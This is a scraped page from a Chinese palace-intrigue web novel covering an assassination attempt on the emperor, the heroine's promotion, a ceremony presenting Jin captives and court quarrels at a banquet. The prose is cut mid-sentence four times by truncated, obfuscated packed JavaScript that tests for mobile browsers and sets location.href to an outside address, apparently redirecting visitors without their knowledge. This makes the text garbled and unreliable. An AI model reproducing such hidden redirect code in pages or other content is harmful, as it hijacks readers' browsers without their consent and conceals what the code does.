RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928112|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先向西走,一路走走停停,一边赏景一边闲聊,一直走到钦安殿。皇帝本人信点佛教也信点道教,步入钦安殿内,拜了拜玄天上帝,打赏了管理钦安殿的太监道士,又走到东路。 眼见着看过堆秀山御景亭,快回到坤宁门前,坤宁门外突然传来争执声。 “何美人主子,没有陛下允许,您不能进去!”这是御花园外值守的太监的声音。 “我知道,但是我有要事禀报陛下,拜托你们通融一下。”这是何美人的请求。 守门太监很无奈:“美人主子,您就不能在外面等一等吗?陛下很快就要出来了,您在这里同他说不也一样吗?” 非要进去,陛下若是怒了,挨罚的还是他啊。 但对何美人来说,这确实不一样。她咬咬牙,心一横,准备硬闯。 这时,御花园内一道声音拯救了深陷麻烦的太监:“让她进来。” “喏,”太监应了一声,立刻放行,“美人请。” 何美人走了进去。门后右侧的路上便站着皇帝和沈明珮,后面还有一群宫女太监。她暗中抓了抓裙摆,又默默松开,走到皇帝面前。 “妾见过陛下,见过沈昭仪。”她屈下身,恭声行礼。 见到何美人,皇帝的好心情就没了。他本计划趁着她产后重病禁止太医为她诊治,让她自然病逝,谁知道她居然奇迹般地好了。此后他忙于与金人的战事,忽视了后宫,她也就逐渐康复,出现在后宫众人的视线中。 他依旧很厌恶何美人,连带着也不喜欢她生下的三公主。但是事已至此,再专门杀她又要费功夫,随着时间的流逝他的杀意也减轻,他便也懒得再派人杀死何美人了。 宫里又不是养不起一个闲人。 但这绝不意味着他愿意何美人出现在自己眼前,皇帝冷着脸,寒声问她:“你说有事禀报,到底是什么事?” 何美人却没有说是何事,反而说:“陛下,妾所言之事极为重要,可否禀退其他人?” 皇帝虽有疑惑,还是同意了。 沈明珮心觉奇怪,放慢脚步跟在最后,时刻关注四周。突然,她发现了一个拿短刀冲向皇帝的身影。 “臣妾想说……”何美人的面容骤然狰狞,脱口出去的“你去死吧”却与不远处一声“陛下小心”重合,随后一道身影冲过来,正好挡住了刺客的刀。 沈明珮只觉一阵刺骨痛,但她还是紧紧抓住刺客的手,待侍卫将刺客制服才彻底失去意识。 何美人被人锁拿,她冷笑着看着皇帝,狠狠啐了她一口,随后嘴角流下乌血,歪下头没了气息。 竟是一早就服了毒。 皇帝怒不可遏:“朕要诛她九族!” 乾清宫的太监你看看我我看看你,终于走出来一个穿蟒袍的,低声对皇帝说:“禀陛下,何美人的亲人先前已经被您夷三族了,他家祖上曾是流民,没有九族可杀。” 皇帝的怒火如同被堵住的洪水,没了发泄的地方。 太监又连忙说:“陛下,沈昭仪伤势不轻,是不是该叫太医来?” 皇帝这才回神:“速召太医院院判来。” 22. 封嫔 沈明珮醒来时,已经躺在自己宫里寝屋的床上。 “娘娘醒了!”守在她旁边的白芷立刻高声说,随后推开门冲出寝屋。 寒露很快便带着太医院院判过来了。老院判隔着纱帐挂着丝线诊过脉,又详细询问沈明珮的具体感受,放下心来。 “娘娘已经无碍,接下来按时按量用药,静养至伤愈便可,不可吃辛辣、海产及油腻之物。” “多谢大人。”沈明珮闻声道谢。 “娘娘客气了,”院判告辞,“下官奉皇命而来,娘娘既无事,下官当复命。” 寒露送太医院院判离开景阳宫。沈明珮躺在床上,看着精雕细琢的床顶,伤口还在隐隐作痛。 见白芷守在一旁,她问白芷道:“娘娘是怎么回事?” 白芷立刻回答:“回娘娘,陛下回乾清宫前称您为贤嫔。” 沈明珮便知道,皇帝这是要给她晋位了。 果然,过了一会儿,一个身穿蟒袍的太监带着圣旨来了景阳宫,直奔东配殿而来。 “圣旨到——”他尖声高喊着,走进沈明珮躺着的寝房内,“陛下有令,沈昭仪有伤在身,不必行礼。奉天承运,皇帝制曰:位亚长秋,毗于内理;必资懿范,方被宠章。昭仪沈氏,佩服礼经,周旋法度,有柔婉之行既表于天资,有节俭之仪可施于嫔则。慕班氏之辞辇,伟冯媛之当熊。能思在进贤,义高前史。可进为贤嫔,所司择日备礼册命。钦此——” 圣旨念完,沈明珮撑起身,在床上行了个半礼:“妾谢陛下隆恩。” 太监收起圣旨,笑眯眯地说:“陛下让咱家给娘娘带个话。娘娘且专心养伤,安心等沈小将军献俘,待册封礼结束后娘娘会有更好的院落。” 这确实是好消息,沈明珮一脸喜色:“多谢公公,还请公公告诉陛下,妾会安心养伤,必不会给陛下添麻烦。” 太监收回收回圣旨,拱手告辞,寒露恭敬地将他送出景阳宫,又给他送了两锭银子。太监掂量着荷包,满意地离去,回到乾清宫汇报时就说了几句沈明珮的好话。 “嗯,”皇帝很满意,“沈氏向来明事理知进退,不用朕操心。” 太监回禀完便退下,守在外面的又一个身穿蟒袍的太监见里头的人出来,自己走了进去。 “陛下,人已经招了。”说着,他把供词呈上去。 “这么快就招了,这种人也敢放进朕的皇宫里?”皇帝接过供词,扫视一遍后拍在桌案上,“这上面所有人,一个不留,限子时前全部锁拿。” 太监领命而去。 沈明珮吃过清淡的晚饭,躺在床上实在无聊,命寒露进来给她读新上市的话本子。东配殿内灯火摇曳,直到日常熄灯的时刻,沈明珮命寒露看看殿内其他人可否休息。 “主子,其他人都已睡下。”寒露悄声检查了一圈后回来。 “嗯,”沈明珮点头,而后问她,“这次刺杀是怎么回事?何美人又怎样了?” “是废王余孽留在宫中的细作想要刺杀陛下,勾结了何美人,让何美人给她们找下手机会,”寒露回答,“何美人当场服毒自尽,陛下怒不可遏,将其挫骨扬灰,妃陵内只有空棺入葬,未记名号。” 废王已经死了四年多了,其残党竟然还有这般力量,也是让人惊讶。 沈明珮惊奇地挑眉:“陛下居然没有公开降罪吗?” “没有,”寒露回答,“陛下并未公开遇刺之事,对外说是何美人骤然发狂,欲伤害陛下,娘娘您为保护陛下受伤。何美人清醒后自知罪孽深重,自戕而死,仅以九品选侍之礼入葬。” 沈明珮轻轻笑出声来。 过了一会儿,她又对寒露说:“下次再往宫外通信时,让沈府的管家在供奉外祖母时顺便给何美人烧点纸吧。” “娘娘!”寒露惊讶,即使奋力压着嗓子,声音还是高了一点,“何美人可是弑君啊!” “我知道啊,”沈明珮不以为然,“她本来就被冷暴力那么多年,现在孩子又被皇帝送别人了,家人也被皇帝冤杀了,自己还被皇帝这么作践甚至还差点被病逝,她跟同样仇恨皇帝的废王残党一起刺杀皇帝不是很正常吗?是皇帝亲手把她逼到这个地步的啊。” “可是……那是皇上啊,”寒露不解,“就算皇帝再怎么样,怎么能对皇帝动手呢?” “为什么不能?君视她如粪土,她视君如寇仇,这不是很正常吗?”沈明珮说着半撑起身子,拿起床边小几上的一个杯子,喝了两口水,又将它放回在几上,“你别只看姨娘翻译的那些话本子,也看看她翻译的那些暂时还不能公开的东西。” “奴婢明白了。”寒露其实不是很明白,她只知道,今晚这些话,只能天知地知她知主子知,不然她们一定会面临灭顶之灾。 无独有偶,启祥宫内,宁妃命令心腹:“这也是个可怜人,若是还能找到她的骨灰,便收一点找个地方葬了吧。若是找不到,就立个衣冠冢,也算是全了姐妹一场。” 心腹领命而去。 宫中的废王细作一夜之间便被一网打尽。锦衣卫受命审讯,不过一个白天,这些人就招了个干净。 接到供词后,皇帝去了一趟慈宁宫。当天夜里,赵德光身后跟着一队锦衣卫,手上端着一支匕首、一根白绫和一壶毒酒,迈入定国公府。 定国公府上的小佛堂中,已经带发修行四年多的废王妃再次穿上亲王妃大礼服,静静坐在佛前。门被推开时,她甚至没有向门口看一眼。 “高娘娘,陛下请您上路。”赵德光说着,将三样东西摆到废王妃面前。 废王妃没有说过,拿起酒壶,倒了满满一杯毒酒后一饮而尽。过了一个时辰,赵德光走出小佛堂,废王妃已气绝身亡。 慈宁宫内,太后正在小佛堂中,只有伴随她几十年的心腹嬷嬷陪着她。 她转着佛珠,估算时间:“废王妃应当死了吧?” “应当是死了。”嬷嬷也不知道,便应和她说。 “下次再去万寿寺供佛时,给她点一盏长明灯吧。”太后吩咐。 废王妃虽说是太后的侄孙女,但也只是勉强未出五服。先太子病逝后,定国公府再无其他适龄女郎,才找了这个五服内的亲戚中父亲官职最高的许给废王。而后废王在有生之年内竟当真从一而终。 废王战死后,太后保下废王妃,养在定国公府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933448|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做带发居士,但废王妃的子女、亲人已全部被杀。正因如此,她才是完美的废王余孽弑君案的组织者。 “陛下,废王妃已毙命,定国公府不敢处置她的尸身。”乾清宫内,赵德光禀报。 “将她与废王葬在一处吧。”皇帝头也不抬地命令。 赵德光有些意外,顿了顿才领命而去。 再无旁人后,皇帝将毛笔扔进笔筒中。笔落在筒壁上,发出清脆的声响。 “定国公府,”他自言自语,“推出个女子顶罪,当朕是傻子吗?” 太子才几岁,这群人就这么急不可耐了? 沈明珮救驾负伤,晨定告了假,其他人请安时却又不少人面带愁容。原因无他,这次皇帝遇刺案后,锦衣卫挖出来不少潜伏在宫中的探子,不少宫妃都遭了殃。 好在在坤宁宫中,她们得到了好消息。 “陛下同本宫说了,宫中潜伏细作与诸位无关,你们只安心等宫里派来新宫人便可。” “多谢陛下,多谢娘娘!”她们彻底放下心来。 至于这次揪出来的多少是废王的探子,多少是各家在宫里买通的探子,只有皇帝和各家自己知道了。 在这种情况下,蓟辽军、河南军、山东军带着金人战俘回到京城。 河南、山东两军主力已回到各自省份,蓟辽军主力也在蓟辽与金地,剩下为数不多的将士看守俘虏,驻扎在京城外。 刘顺带着沈明琛率先进京入宫。 “末将见过陛下。”刘顺进了乾清宫,正要行礼,就被等候已久的皇帝架住。 “刘爱卿不必多礼,”在信重的臣子面前,皇帝一向都是可亲的,“你们舅甥在前面杀敌,明珮在宫中救驾,你们皆是朕不可或缺之人啊。” 做臣子的,谁不希望能听到皇帝的这等评价?刘顺已经一把年纪了,固然能能维持冷静,年纪尚轻的沈明琛却已热血沸腾。 “能为陛下分忧,得陛下如此夸赞,是臣的荣幸!”他大声说,声音激动。 皇帝看他的样子,更加满意了。 好在沈明琛在激动之余,也没忘了自己的妹妹:“陛下,臣的妹妹现在如何?” “她救驾负伤,但经救治已无大碍,”皇帝说,“沈爱卿献俘之日会见到她的。” 舅甥两人随后详细汇报伐金经过,期间刘顺将一封信交给皇帝。 “这是臣在金伪帝书房内搜到的一封信,上面非金人文字,亦非汉字,臣看不懂。” 皇帝接过信展开,刘顺继续说:“我军与金人交战时,金人曾拿出五门火炮,战后我军缴获一门。此火炮射程不如我军,且外形与我军火炮不同,臣怀疑与通信之地有关。” “请鸿胪寺卿带着同夷语的人来。”皇帝立刻命令太监。 很快,在路上便知晓事情经过的鸿胪寺卿带着通晓西洋语言的鸿胪寺丞小跑进乾清宫内。向皇帝问安后,鸿胪寺丞立刻接过信。 “陛下,这是罗刹文,”鸿胪寺丞说,“罗刹人趁金人急需火器,卖了金人五门淘汰的火炮,得到了黑龙江以北的全部领土。” “啪”地一声,皇帝的手狠狠地拍在了桌面上。 23. 献俘 刘顺、沈明琛见完皇帝,出京与士兵们住在一处。礼部的准备已至后期,每天都有官员出京与刘顺对接。 景阳宫内,太医院院判如释重负。 “恭喜娘娘,”他对沈明珮说,“娘娘已可出宫行走,只要不剧烈活动,伤处便会逐渐恢复。” 沈明珮运气不错,刺客捅的地方不致命,伤处也不深,在献俘大典前她便可以自由活动。太医院院判也长出口气,皇帝可是要求他让沈明珮恢复到能出席献俘大典的。 “这段时日劳烦大人了。”沈明珮微笑着感谢太医院院判。 “娘娘客气了,”院判拱了拱手,“臣今日已看诊完毕,还去向陛下复命了。” “大人慢走,”沈明珮立刻让人送他,“寒露,送胡大人离开。” 寒露立刻走过来。院判行礼后离开,她便错后一个身位,跟着走到景阳宫外。寒露没有什么额外的表示,她和沈明珮都清楚,胡太医能做到太医院院判,必然是皇帝的人,她们拉拢不来。 胡院判离开景阳宫后,如他自己所说,一步不停地走到乾清宫。皇帝正在批阅奏折,他在守门太监的注视下安静地候在门外。过了一会儿,门开了,一个大太监抱着拂尘走出来。 “胡大人,陛下请您进去。” 胡院判快步走进坤宁宫正殿,走到案前对着皇帝行礼。 “臣叩见陛下。” 皇帝正在看密折,头抬也不抬一下,径自问他:“贤嫔如何了?” “回陛下,”院判低着头回复,“贤嫔已无大碍,可以出席献俘大典。” “不错。” 平淡的两字后殿内一片安静,胡院判跪在地上,不敢擅自起身。 过了一会儿,皇帝又问:“贤嫔可有什么举动?” 刚刚在安静中大气不敢出的胡院判立刻回答:“回陛下,贤嫔娘娘只对臣道谢,而后命寒露姑娘送臣离开景阳宫。” “她没送你赏银?” 胡院判疯狂摇头:“没有。” “呵。”皇帝笑了,招来大太监给了他一锭金子。 “贤嫔她没给你赏银,朕给你补上,此番你做得很好。” 胡院判接过赏赐,千恩万谢地离开。 见自己的妃子没有尝试串联太医,皇帝很满意,靠在椅背上目送太医院院判离开后召来尚服局尚服。 “贤嫔的衣服做得怎么样了?” 尚服刚问过安,还没来得及起身,就挨了这么个问题。 第二天早上,沈明珮请安归来,看到守在景阳宫院内的尚服局女官和宫女。为首之人身着青色白鹇补服,赫然是尚服局最高官,尚服。尚服后面跟着两个女官,分别身着黄鹂与鹌鹑补服,乃八品和九品。女官后面还有数名宫女,手上或捧着堆叠整齐的布品,或捧着木匣。 “奴婢见过贤嫔娘娘,”尚服见到沈明珮,走上前行礼,“娘娘的大礼服已经完成,请娘娘试穿。” 沈明珮带着她们进入东配殿。宫女们打开木匣,展开衣服,将全部衣饰放在正屋桌案上。五翟冠、真红大衫、青色云凤纹鞠衣、孔雀纹霞帔、缠枝花纹金制霞帔坠,还有玉圭,沈明珮将整套大礼服穿在身上,对着镜子检查。 “都很合身,”沈明珮很满意,“有劳你们了。” “娘娘客气了,”尚服连忙又行一礼,而后说,“陛下允娘娘献俘大典当日着鞠衣。” 沈明珮没有经过册封礼,原则上是不能穿嫔位的大礼服的。但有原则就有例外,皇帝亲自发话,她便可以提前穿着,只是依然不可以穿戴翟冠并大衫霞帔。 “妾谢陛下恩典。”她立刻向着乾清宫的方向行礼,而后给来此的每个女官和宫女发了赏钱,再派白芷送她们离开。 其他人立刻帮助她将大礼服脱下收好,只留鞠衣在外面。 京郊,礼部尚书亲自与刘顺完成最后的对接。一切准备就绪,只等献俘大典当天。 献俘当日,皇帝卯时便已穿好衮冕,司礼监已备好御辇,只等皇帝出发。锦衣卫皆着赐服,列好仪仗站在午门前,乐队已备好,文武百官也都身着朝服,按礼部预先拟好的位置站好。 京城外,参加献俘的将士身着戎装,也已整装待发。俘虏们一个不缺地呆在队伍里,曾经也是锦衣玉食的人在这些时日的磋磨下落魄了很多。 “弟兄们,预备——走!”为首的沈明琛一声号子,所有人向京城内进发。 城门早已洞开,只待英雄凯旋。百姓没有资格围观献俘,但有这等盛事,还是跑到离献俘大队走的街道不远的地方观看。 维持秩序的锦衣卫立刻将他们与献俘大队隔开,但并没有将人驱散。 辰时,皇帝坐着御辇登上午门楼,坐在正中央的御座上。午门立刻鸣钟鼓,乐队开始奏乐。不一会儿,献俘的将士到达午门前。 皇帝站起身,走下城楼。待他站定后,沈明琛立刻走到他面前,行肃拜礼。 “末将沈明琛,代蓟辽、河南、山东三军,献金伪帝、伪太子及其余王公贵族于陛下,愿大齐国祚永昌。” “爱卿免礼。”皇帝威严地说。 “谢陛下。”沈明琛礼毕。 随后皇帝带着一行人中指挥佥事及以上的武将共五人前往太庙,五人中三人出自蓟辽军,一人出自河南军,一人出自山东军。早已准备就位的司礼监太监立刻呈上香酒,由皇帝亲自奉给祖先。随后沈明琛等数名武官将本次伐金缴获的战利品献上,皇帝再亲自献上翰林院撰写的祭文。最后,司礼监太监再呈上馔肴,由皇帝进献给先祖。如此,三献礼成。 一行人再返回午门。囚车门打开,金人皇帝、太子和皇子们被拖出来,其他贵族俘虏被牵至他们身后。在军队的监督下,他们被礼官带到御道西侧一一跪好,等候皇帝的审判。 皇帝重新登上午门楼,颁布露布诏书,百官身着朝服听宣露布。随后刑部尚书走出官员队列,奏请处置俘虏。 “伪金皇帝、太子,诸皇子、亲王、郡王等宗室,择日处斩。伪金三公主指认有功,可免死罪,圈禁万寿寺,终身不得出。其余人等,流放房陵、海南。” 大齐自建立起就从未承认过金国的合法地位,官方一直称“伪金”、“金伪帝”。因为延续自前朝的一百余年的仇恨,此番皇帝下手极重,直接将所有金宗室全部处死,其余在金上京和各地的贵族,除了在齐军到来前投诚的全部流放。金人再无复起之可能。 献俘礼至此结束。刑部吏胥拖着面色惨白的俘虏离开,文武官员同皇帝一同前去皇极殿。 正逢中午,皇极殿内还有一场大宴。 “娘娘,该走了。” 景阳宫内,沈明珮身着鞠衣,头戴金镶宝头面,妆容齐整,时刻可以出发。寒露看了看时辰,前来提醒她。 她身上伤口尚未完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936700|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痊愈,暂不能剧烈运动,皇帝特许她乘坐嫔位才可坐的步辇。立刻她名下的两个太监就站在景阳宫院内,候在步辇旁。 沈明珮走出东配殿,坐到步辇上,两个太监将步辇抬起来。 “走吧。” 沈明珮一声令下,步辇开始行动。寒露和白菊跟在步辇后,远看也是小有规模。 沈明珮住得偏,到达皇极殿后,刚放下步辇,宁妃就到了。 “见过宁妃姐姐。”沈明珮礼行到一半,就被宁妃架住。 “今日你是功臣亲属,没有该你向我行礼的道理。”说着,她牵着沈明珮,两人一起走进皇极殿。 皇极殿内,百官家眷已到,众散号妃嫔和顺嫔已到,皇子公主已到,帝后和参加献俘礼的官员还未到。两人受了旁人行礼,分坐到帝后主位的左右下首处,没多久皇后便到了。 “妾见过皇后娘娘。”众妃行礼。 皇后头戴九龙九凤冠,身着翟衣,十分威严。她平淡地说了声“平身”,就端坐在凤位上,等待皇帝到来。 及至午正,结束献俘礼的皇帝带着百官走进皇极殿。 又是一番行礼后,文武官员各就各位,献俘将领坐在最前,皇帝坐上主位。没有多余的寒暄,皇帝直接宣布开宴。 沈明珮终于又见到了沈明琛。一身戎装的他看起来健壮了不少,连续的战斗后,他比先前明显晒黑了。她看得很专注,一时连桌上的佳肴都忘了。 沈明琛感觉到了目光,看了过来,看到了一身鞠衣的沈明珮。久别之下,人对变化的感知往往更加清晰。他清楚地感觉到沈明珮比往日明显很多的气场,以及眼神中的审视与不自觉地疏离。 不用多想,宫里的日子一定不好过。桌子下,沈明琛攥紧了拳头。 两人对视的时间有些长,引起了他人的注意。刘顺轻咳一声,锤了一下沈明琛,寒露也悄悄拍了拍沈明珮。 两人回过神来,低头吃菜。 但皇帝已经注意到了。 “呵呵,沈爱卿很是思念亲人啊,”他打趣道,“令妹如今已经三品贤嫔,沈爱卿大可放心。你们兄妹难得相见,大可放心看。” 沈明琛在尴尬中致谢:“臣代舍妹谢陛下厚爱。” “朕爱的可不只有爱卿的妹妹,”皇帝兴致盎然,举着酒杯高声说,“沈卿为朕虏获敌首,也很得朕喜爱。你们舅甥此次为大齐立下汗马功劳,朕怎么赏你们都不为过。” 刘顺和沈明琛立刻心领神会地离开座位,跪倒地上。 “传朕旨意,蓟辽总督刘顺率蓟辽军抵挡伪金军袭击,又率蓟辽、河南、山东联军灭伪金,功劳卓著,封忠勇侯,前屯指挥佥事沈明琛,勇为前锋,冲锋陷阵,生擒金伪帝、伪太子,封勇毅伯。忠勇侯与勇毅伯均五代始降。” “臣谢陛下隆恩!”刘顺与沈明琛异口同声道。 后妃席间,沈明珮也异常欣喜。有一侯一伯,她和姨娘的境遇都将大大改善。 但是这还没完。 “朕记得沈爱卿已过及冠之年,但还尚未婚配?”皇帝接着说,“朕便代你父母做个主。孙爱卿,朕记得你那女儿也未许人家?” “回陛下,确有此事。”被点到的锦衣卫指挥使立刻站出来承认。 “那朕今日便做一回媒人,赐婚给沈爱卿和孙爱卿的女儿,如何?” “臣谢陛下恩典。”两人都同意。 24. 大封 锦衣卫指挥使只有一个女儿,年方十六,尚未定亲。锦衣卫结亲并不容易,一个不慎就可能引来皇帝的怀疑,所以向来内部嫁娶居多。指挥使虽是三品官职,但自家人知道自家事,锦衣卫武官的损耗率极高,而且很多是死在权力斗争中,远没有看起来那么风光。他不想让女儿再生活在锦衣卫家庭中,可跳出锦衣卫后,不是人家看不上他就是他看不上人家。没想到天上掉馅饼,他居然成了皇帝新宠、贤嫔亲兄长、勇毅伯的岳父。馅饼太大,险些把他乐蒙了。 沈明琛拖到二十二未成婚,自然也是有自己的原因。时下讲父母之命媒妁之言,沈大人夫妻两个在别的地方拿捏不住他,在婚事上却是可以的。刘顺和沈明琛看上的人家沈思远夫妻一概否决,他们又从不给沈明琛相看,沈明琛自然就拖到现在。 锦衣卫指挥使他有所耳闻,在皇帝夺嫡中功劳巨大,是皇帝真正的心腹之臣,正巧他也是皇帝的心腹之臣。心腹与心腹结亲,安全。新晋伯爷和锦衣卫首领,门当户对。他没什么可不满意的。 “那沈爱卿就先留在京城,办完婚礼再回蓟辽吧,”皇帝说,“时间紧急,这次婚礼便由朕派人操办,一应花销全走朕的私库。” “谢陛下。”沈明琛和孙指挥使再度谢恩。 总之,这是一场皇帝、男方家庭和女方家庭都非常满意的赐婚。 但是有人不满意。 又吃了几道菜后,皇后放下筷子,对皇帝道:“陛下,今日是大喜之日,妾身也想为妹妹们求一个恩典。” “什么恩典?”皇帝正在喝汤,听到皇后的话,立刻将嘴里的汤咽下去,放下汤碗。 “陛下登极以来还未大封后宫过,”皇后脸上挂着得体的微笑,特意大声说,“如今恰逢灭掉伪金朝廷这等大喜之日,陛下不若大封后宫,让妹妹们也都沾沾喜气,沐浴陛下的恩德,不知陛下可否开恩?” 左都御史离帝后坐得不算远,皇后说的话他都能听得一清二楚。自家女儿发话,做父亲的当然要支持。 “娘娘心系后宫福祉,实在是贤德,臣敬服不已。”他一个眼神看向邻桌,与他一个派系的次辅就心领神会地附和。 沈明珮夹天香白冀的手顿时停住,鲍鱼脱离了筷子的束缚,欢快地掉回到盘子里。不论皇后抱着什么目的,一旦大封后宫,她这个凭借家人军功而升位的贤嫔必然会被其他人分薄好处。她不信皇后不是故意的。 皇帝心里很烦。他一向认为有功者才有得赏的资格,此番伐金,宫中绝大多数人的父兄都未出力,哪来的脸要求升位?但皇后的话已经当着所有人的面说出来了,他若直接拒绝,丢的是整个皇室的脸。 “皇后所言有理,”他不甘不愿地说,“宋昭仪晋为宸嫔,赐住承乾宫,其余嫔位以下宫妃各晋一级。” 显而易见,晋升宋昭仪是早就计划好的,其他人则是赶鸭子上架。 皇后其实不太满意。只多了一个嫔,其他主位都没有变化,在她看来并不足以遏制住沈明珮。其他散号妃子晋位能有何用?但大封后宫是她提的,皇帝也做了,她没有不满的余地。 “妾代妹妹们谢陛下。”她强笑着谢皇帝。 “妾谢陛下恩典,谢娘娘恩典。”得了晋封的宫妃们齐刷刷地站起来,行礼谢恩。 皇极殿上一团和乐,有那保守的臣子看得欣慰——一人独大算什么好事,大家共享喜悦才是应有之义。 但皇帝是不可能这么就认下这份不爽的。 “沈爱卿,朕记得你的生母是七品孺人,可是如此?”他借着大封后宫的余波,又问沈明琛。 “回陛下,正是如此。”沈明琛回道。 “儿子已经封伯,生母再是七品孺人就不合适了,”皇帝说得理所当然,“便晋封为五品宜人吧。” 殿内一片哗然。 沈明琛不管这哗然,立刻谢恩:“臣代姨娘这陛下恩典。” “陛下,这不妥啊,”孔家出身的礼部尚书立刻反对,“一个妾室怎么可以封诰命呢?便是有功,受封的也应该是嫡母,请陛下三思啊!” “孔尚书这话就不对了,”工部尚书立刻反驳,“历朝历代都有妾室封诰之事,子女发达,生母获封在前朝更是屡见不鲜,怎么能说是妾室不可以封诰命呢?” 孔尚书义正辞严:“存在不代表合理。嫡庶尊卑本就是礼,陛下身为天子,当为天下万民之表率,怎可违背礼教?臣请陛下收回诰封,加封勇毅伯嫡母,以正尊卑嫡庶。” 沈明珮在宫妃席上,已经在心里把孔尚书骂得面目全非——不侍二君也是礼教的一部分,怎么不见前朝国破时你们孔家跟着一起抹脖子啊?皇帝换了那么多姓,你衍圣公府一直屹立不倒,可见也没少背弃旧主吧? 老匹夫! 此刻皇帝心里也在怒骂这个老匹夫。他的生母也是身份卑微,生下他后也没能封嫔,甚至最后连自己的性命都没能保住。这些满嘴嫡庶尊卑的大臣,是不是也这么看他的生母,甚至是他自己呢? 臣子席上,宋首辅站了出来:“孔尚书既然知道尊卑,也应当知道陛下是全天下最尊贵之人吧?你一个臣子驳斥陛下,不也是不顾尊卑吗?” 孔尚书气得满脸通红。 “好了,此事就这么定了,”皇帝见孔尚书被驳斥得说不出话,直接一锤定音,“另外沈卿的生母是在金陵居住吧?既然儿子已经封伯,便进京住在伯府吧。刘孺人也不年轻了,沈卿要好好孝敬她,莫要到最后子欲养而亲不待。” 孔尚书憋红了脸,梗着脖子还要反对,被他的妻子狠狠拉住。 等这事过去,孔尚书埋怨妻子:“怎么连你也拦我?陛下做得有失妥当,做臣子的怎能不劝谏?” 孔家太太无奈:“你看不出来陛下是想起自己的生母了吗?那位老娘娘有多可怜,陛下就有多想在别人身上弥补,你在这时候跟陛下倔什么?就这么想让人把你归到定国公府和夏家那一派吗?” 孔尚书心里一紧,只觉后脑勺一阵发凉。他们孔家向来在朝中中立,谁也不站,除了衍圣公嫡脉,其他族人甚至只治学问,不入朝为官。这要是真因为今日的劝诫把他归到以定国公府和夏家为首的勋贵外戚派,他找谁说理去?这么一想,他便很庆幸妻子把他拉住了。 “多谢夫人拦住我,”他感激道,“若无夫人,只怕我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945997|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在已经被陛下彻底厌弃了。” 他不是傻子,看得出皇上不喜定国公府和夏家。他衍圣公虽然担着圣人后裔的名声,历代帝王都必须对他们礼遇有加,但皇帝也可以把他们高高架起的同时让他们彻底成为富贵闲人。 “哼,”孔家太太嗔道,“妾身一个女子,能得孔大人一句谢,实在是三生有幸啊。” 孔大人面色讪讪。 “吃饭,吃饭。”他说着拿起筷子,低头夹菜。 过了未时,大宴才结束。官员和家眷们陆陆续续离开,而后后妃们也纷纷返回东西六宫。沈明珮也在回宫的人群中,只是她很快被叫住。 “贤嫔娘娘,”叫住她的人是赵德光,“陛下有请。” 沈明珮在赵德光的引领下走进乾清宫,推开侧屋小门。阳光照进小屋内,她看到了身穿戎装的沈明琛。 “阿兄!”她大喊出声,快步走进正殿。 “咳,”沈明琛咳嗽好几声,眼神使劲向前方甩,“先向陛下行礼。” 沈明珮这才发现,原来皇帝也在场。她尴尬地摸了下鼻头,正要行礼,被皇帝叫停。 “行了,你们兄妹俩好好叙旧,朕就不留了。”说罢,他回到正屋,继续批阅奏折。 侧屋内只剩下兄妹两人。 两人无声相对,彼此凝视,半晌,还是沈明琛先问道:“你在宫中可好?太后和皇后可有针对你?其他人可有欺负你?” 沈明珮摇摇头:“宫规森严,即使是皇后也不能随意针对哪个宫妃。至于太后,定国公府出事后,她就在慈宁宫养病了。” 也就是说,太后还是针对沈明珮了。沈明琛立刻解读出这一层,眼中闪过戾气。 “我在宫里好歹不用与敌人真刀真枪地拼杀,阿兄在前线杀敌,肯定吃了很多苦,人都黑了,脸也瘦了。”沈明珮心疼道。 之前远看还以为他健壮了很多,真凑近了才发现,让他看起来健壮的是铠甲,铠甲之下,他恐怕反而还瘦了。 沈明琛显然已经习惯了,反过来安慰沈明珮:“打仗嘛,就是这样。现在陛下已经狠狠收拾了户部和兵部,以后去年冬天的事应该没人敢再做了,金又已经灭了,短时间内应当也不会有大仗,我跟着舅舅,还是很安全的。你放心。” “反正你一定要平平安安的。”沈明珮点点头。 两人又聊了一会儿,聊到皇帝的赐婚。 “阿兄,我想请求你一件事,不知道你能不能做到,”沈明珮话是这么说,却半点没有纠结的意思,“你婚后可以不纳妾吗?” 